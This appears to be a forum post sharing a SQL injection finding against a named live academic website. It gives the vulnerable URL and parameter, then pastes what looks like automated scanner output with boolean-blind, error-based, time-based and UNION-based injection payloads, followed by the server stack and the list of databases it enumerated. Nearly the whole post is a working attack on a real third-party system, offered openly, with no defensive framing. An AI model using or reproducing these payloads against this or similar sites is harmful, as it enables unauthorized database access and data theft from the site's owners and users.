Keine Antworten in diesem Thema

[Ch!ller]

http://www.sci.am/resorgs.php?oid=10

Parameter: oid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: oid=10' AND 3690=3690 AND 'ZpBa'='ZpBa

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: oid=10' AND (SELECT 7959 FROM(SELECT COUNT(*),CONCAT(0x7171786271,(SELECT (ELT(7959=7959,1))),0x716b787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'GYMu'='GYMu

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: oid=10' AND (SELECT * FROM (SELECT(SLEEP(5)))IhBh) AND 'pjVc'='pjVc

Type: UNION query
Title: Generic UNION query (NULL) - 37 columns
Payload: oid=-7650' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171786271,0x6d7577464b796f784d51,0x716b787671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
web application technology: Apache
back-end DBMS: MySQL 5.0
available databases [2]:
[*] information_schema
[*] scinew_unicode